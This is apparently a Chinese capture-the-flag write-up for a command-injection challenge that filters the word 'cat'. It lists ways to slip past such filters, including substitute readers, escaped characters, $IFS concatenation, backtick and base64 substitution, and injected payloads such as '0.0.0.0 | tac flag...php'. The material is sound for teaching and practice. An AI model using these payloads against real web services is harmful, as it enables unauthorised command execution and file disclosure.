题目描述
过滤了 cat 命令之后,你还有什么方法能读到 Flag?
Solution
打开网页,可以看到服务器的后端代码:

根据源代码可知,题目用正则匹配把$ip变量中所以匹配到cat字符串的结果顺序输出到$m变量中。
对于cat命令过滤,我们有如下绕过方法:
替代法
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261 //报错出文件内容
转义符号
ca\t /fl\agcat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
反引号绕过
┌──(cheery㉿kali)-[~/Desktop/flag]└─$ lsflag┌──(cheery㉿kali)-[~/Desktop/flag]└─$ cat `ls`flag{Hello World}
Base64 编码绕过
┌──(cheery㉿kali)-[~/Desktop/flag]└─$ echo 'cat' | base64 1 ⨯Y2F0Cg==┌──(cheery㉿kali)-[~/Desktop/flag]└─$ `echo 'Y2F0Cg==' | base64 -d` flagflag{Hello World}
位置变量绕过
┌──(cheery㉿kali)-[~/Desktop/flag]└─$ ca$9t flagflag{Hello World}
我们输入下列命令查看当前目录有什么文件:
0.0.0.0 | ls

然后用tac输出 Flag 文件,在前端源码中找到:
0.0.0.0 | tac flag_303863133132487.php

